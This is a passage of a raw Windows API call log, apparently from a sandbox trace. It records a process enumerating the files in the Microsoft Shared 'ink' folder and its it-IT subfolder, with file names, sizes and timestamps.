lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.585] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.585] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.586] GetProcessHeap () returned 0x560000 [0217.586] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.586] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0217.586] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0217.587] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0217.587] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0217.587] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0217.587] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0217.587] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0217.588] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0217.588] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0217.588] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0217.588] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0217.588] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0217.589] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0217.590] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0217.590] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0217.591] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0217.591] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0217.591] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0217.591] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0217.591] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0217.592] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0217.592] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0217.592] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0217.592] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0217.592] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0217.593] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0217.593] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0217.593] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0217.593] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0217.593] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0217.594] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0217.594] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0217.594] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0217.594] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0217.594] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0217.595] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0217.595] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0217.595] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0217.595] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0217.595] GetProcessHeap () returned 0x560000 [0217.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0217.596] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.596] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.596] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.596] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.597] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.597] GetProcessHeap () returned 0x560000 [0217.597] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.597] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, 